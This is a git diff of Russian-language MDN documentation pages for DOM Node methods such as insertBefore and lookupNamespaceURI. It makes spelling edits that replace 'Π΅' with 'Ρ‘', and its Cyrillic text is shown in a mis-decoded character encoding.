// ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ссылку Π½Π° элСмСнт, ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ sp1
@@ -49,13 +49,13 @@ parentDiv.insertBefore(sp1, sp2);
&lt;/script&gt;
</pre>
-<p>Однако Π½Π΅Ρ‚Β ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½ использованиСм ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> Π² связкС с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
+<p>Однако Π½Π΅Ρ‚Β ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ использованиСм ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> Π² связкС с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp1</span> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вставлСн послС <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
-<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ послСдним Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом, Β <code style="font-style: normal;">sp2.nextSibling Π²Π΅Ρ€Π½Π΅Ρ‚Β </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, Π° <code style="font-style: normal;">sp1</code> вставится Π² ΠΊΠΎΠ½Π΅Ρ† Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ ΡƒΠ·Π»Π° (сразу послС <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p>
+<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ послСдним Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом, Β <code style="font-style: normal;">sp2.nextSibling Π²Π΅Ρ€Π½Ρ‘Ρ‚Β </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, Π° <code style="font-style: normal;">sp1</code> вставится Π² ΠΊΠΎΠ½Π΅Ρ† Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ ΡƒΠ·Π»Π° (сразу послС <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p>
<h2 id="Example2" name="Example2">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 2</h2>
@@ -66,14 +66,14 @@ var parentElement = document.getElementById('parentElement');
// ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ссылку Π½Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт
var theFirstChild = parentElement.firstChild;
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ
var newElement = document.createElement("div");
// ВставляСм Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом
parentElement.insertBefore(newElement, theFirstChild);
</pre>
-<p>Когда Ρƒ родитСля Π½Π΅Ρ‚Β ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта,Β <code>firstChild</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>null</code>. Новый элСмСнт всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΡΡ послС послСднСго Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта. Но Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта, Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΈ послСднСго. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, послС добавлСния Π² Π½Π΅Π³ΠΎ элСмСнта, этот элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ СдинствСнным Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом.</p>
+<p>Когда Ρƒ родитСля Π½Π΅Ρ‚Β ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта,Β <code>firstChild</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>null</code>. Новый элСмСнт всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΡΡ послС послСднСго Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта. Но Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта, Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΈ послСднСго. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, послС добавлСния Π² Π½Π΅Π³ΠΎ элСмСнта, этот элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ СдинствСнным Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом.</p>
<h2 id="Browser_Compatibility" name="Browser_Compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
diff --git a/files/ru/web/api/node/isdefaultnamespace/index.html b/files/ru/web/api/node/isdefaultnamespace/index.html
index 88f139a5a0..581a56c524 100644
--- a/files/ru/web/api/node/isdefaultnamespace/index.html
+++ b/files/ru/web/api/node/isdefaultnamespace/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Node/isDefaultNamespace
<div>{{APIRef("DOM")}}</div>
</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>Node.isDefaultNamespace()</code></strong> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ URI пространства ΠΈΠΌΠ΅Π½ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Boolean")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>true</code> Ссли пространство ΠΈΠΌΠ΅Π½ являСтся пространством ΠΈΠΌΠ΅Π½ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠ»ΠΈ <code>false</code> Ссли Π½Π΅Ρ‚.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>Node.isDefaultNamespace()</code></strong> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ URI пространства ΠΈΠΌΡ‘Π½ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Boolean")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>true</code> Ссли пространство ΠΈΠΌΡ‘Π½ являСтся пространством ΠΈΠΌΡ‘Π½ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠ»ΠΈ <code>false</code> Ссли Π½Π΅Ρ‚.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -16,7 +16,7 @@ translation_of: Web/API/Node/isDefaultNamespace
<ul>
<li><code>result</code> содСрТит Π² сСбС Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> ΠΈΠ»ΠΈ <code>false</code>.</li>
- <li><code>namespaceURI</code> это строка ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ собой пространство ΠΈΠΌΠ΅Π½, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½.</li>
+ <li><code>namespaceURI</code> это строка ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ собой пространство ΠΈΠΌΡ‘Π½, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½.</li>
</ul>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/node/isequalnode/index.html b/files/ru/web/api/node/isequalnode/index.html
index 3c76678b0a..c091b24c9f 100644
--- a/files/ru/web/api/node/isequalnode/index.html
+++ b/files/ru/web/api/node/isequalnode/index.html
@@ -20,7 +20,7 @@ translation_of: Web/API/Node/isEqualNode
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаСм Ρ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° {{HTMLElement ("div")}}. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ содСрТаниС ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ отличаСтся. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ запускаСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ для сравнСния ΡƒΠ·Π»ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ isEqualNode () ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаём Ρ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° {{HTMLElement ("div")}}. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ содСрТаниС ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ отличаСтся. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ запускаСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ для сравнСния ΡƒΠ·Π»ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ isEqualNode () ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹.</p>
<h3 id="HTML">HTML</h3>
diff --git a/files/ru/web/api/node/issupported/index.html b/files/ru/web/api/node/issupported/index.html
index a5fc7e0279..2ffbdadbca 100644
--- a/files/ru/web/api/node/issupported/index.html
+++ b/files/ru/web/api/node/issupported/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Node/isSupported
---
<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
-<p><code><strong>Node.isSupported()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Boolean")}} Ρ„Π»Π°Π³ содСрТащий Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π»ΠΈ рСализация DOM ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ свойство ΠΈ поддСрТиваСтся Π»ΠΈ это свойство ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ.</p>
+<p><code><strong>Node.isSupported()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Boolean")}} Ρ„Π»Π°Π³ содСрТащий Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π»ΠΈ рСализация DOM ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ свойство ΠΈ поддСрТиваСтся Π»ΠΈ это свойство ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -15,7 +15,7 @@ translation_of: Web/API/Node/isSupported
<dl>
<dt><em>feature</em></dt>
- <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащая имя свойства для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ. Π­Ρ‚ΠΎ Ρ‚ΠΎΠΆΠ΅ имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>hasFeature</code> Π² <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² спСцификации ядра DOM пСрСчислСны Π² DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π»</a>.</dd>
+ <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащая имя свойства для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ. Π­Ρ‚ΠΎ Ρ‚ΠΎΠΆΠ΅ имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>hasFeature</code> Π² <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² спСцификации ядра DOM пСрСчислСны Π² DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π»</a>.</dd>
<dt><em>version</em></dt>
<dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащая Π½ΠΎΠΌΠ΅Ρ€ вСрсии свойства для ис ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.Π’ DOM ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ 2, version 1, это строка <code>2.0</code>. Ссли вСрсия Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Π°, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΡŽΠ±ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ свойства, Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true.</dd>
</dl>
diff --git a/files/ru/web/api/node/localname/index.html b/files/ru/web/api/node/localname/index.html
index da553936f9..9347aea3d0 100644
--- a/files/ru/web/api/node/localname/index.html
+++ b/files/ru/web/api/node/localname/index.html
@@ -49,7 +49,7 @@ translation_of: Web/API/Node/localName
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ имя ΡƒΠ·Π»Π°, являСтся ΠΏΠΎΠ»Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΡƒΠ·Π»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ΄Π΅Ρ‚ послС двоСточия. ПолноС имя, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ пространства ΠΈΠΌΠ΅Π½ <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ…</span> <span class="hps">XML</span> <span class="hps">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</span></span> НапримСр, ΠΏΠΎΠ»Π½ΠΎΠ΅ имя <code>ecomm:partners</code>, <code>partners</code> это локальноС имя ΠΈ <code>ecomm</code> это прСфикс:</p>
+<p>Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ имя ΡƒΠ·Π»Π°, являСтся ΠΏΠΎΠ»Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΡƒΠ·Π»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ΄Ρ‘Ρ‚ послС двоСточия. ПолноС имя, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ пространства ΠΈΠΌΡ‘Π½ <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ…</span> <span class="hps">XML</span> <span class="hps">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</span></span> НапримСр, ΠΏΠΎΠ»Π½ΠΎΠ΅ имя <code>ecomm:partners</code>, <code>partners</code> это локальноС имя ΠΈ <code>ecomm</code> это прСфикс:</p>
<pre class="brush:xml">&lt;ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"&gt;
&lt;ecomm:partners&gt;
diff --git a/files/ru/web/api/node/lookupnamespaceuri/index.html b/files/ru/web/api/node/lookupnamespaceuri/index.html
index 10899ce8ae..d37ac9f73a 100644
--- a/files/ru/web/api/node/lookupnamespaceuri/index.html
+++ b/files/ru/web/api/node/lookupnamespaceuri/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/Node/lookupNamespaceURI
---
<div>{{APIRef("DOM")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>Node.lookupNamespaceURI()</strong></code> Π±Π΅Ρ€Π΅Ρ‚ прСфикс ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΠ΅Π½ URI связанноС с Π½ΠΈΠΌ Π² Π΄Π°Π½Π½ΠΎΠΌ ΡƒΠ·Π»Π΅, Ссли Π½Π°ΠΉΠ΄Π΅Π½ (ΠΈ <code>null</code> Ссли Π½Π΅Ρ‚). УстанавливаСт <code>null</code> для прСфикса ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΠ΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>Node.lookupNamespaceURI()</strong></code> Π±Π΅Ρ€Π΅Ρ‚ прСфикс ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΡ‘Π½ URI связанноС с Π½ΠΈΠΌ Π² Π΄Π°Π½Π½ΠΎΠΌ ΡƒΠ·Π»Π΅, Ссли Π½Π°ΠΉΠ΄Π΅Π½ (ΠΈ <code>null</code> Ссли Π½Π΅Ρ‚). УстанавливаСт <code>null</code> для прСфикса ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пространство ΠΈΠΌΡ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
-<p>Из-Π·Π° ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с динамичСским Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ пространства ΠΈΠΌΠ΅Π½ (Ρ‚.Π΅., с уставлСнным Ρ‚Π΅ΠΌ ΠΆΠ΅ <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p>
+<p>Из-Π·Π° ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с динамичСским Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ пространства ΠΈΠΌΡ‘Π½ (Ρ‚.Π΅., с уставлСнным Ρ‚Π΅ΠΌ ΠΆΠ΅ <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/node/lookupprefix/index.html b/files/ru/web/api/node/lookupprefix/index.html
index 10a92d81af..7a763c983c 100644
--- a/files/ru/web/api/node/lookupprefix/index.html
+++ b/files/ru/web/api/node/lookupprefix/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/Node/lookupPrefix
---
<div>{{APIRef("DOM")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>Node.lookupPrefix()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}} содСрТащий прСфикс для Π΄Π°Π½Π½ΠΎΠ³ΠΎ пространства ΠΈΠΌΠ΅Π½ URI, Ссли ΠΎΠ½ присутствуСт, ΠΈ <code>null</code> Ссли Π½Π΅Ρ‚. Когда Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ присутствиС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… прСфиксов, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ зависит ΠΎΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>Node.lookupPrefix()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}} содСрТащий прСфикс для Π΄Π°Π½Π½ΠΎΠ³ΠΎ пространства ΠΈΠΌΡ‘Π½ URI, Ссли ΠΎΠ½ присутствуСт, ΠΈ <code>null</code> Ссли Π½Π΅Ρ‚. Когда Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ присутствиС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… прСфиксов, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ зависит ΠΎΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
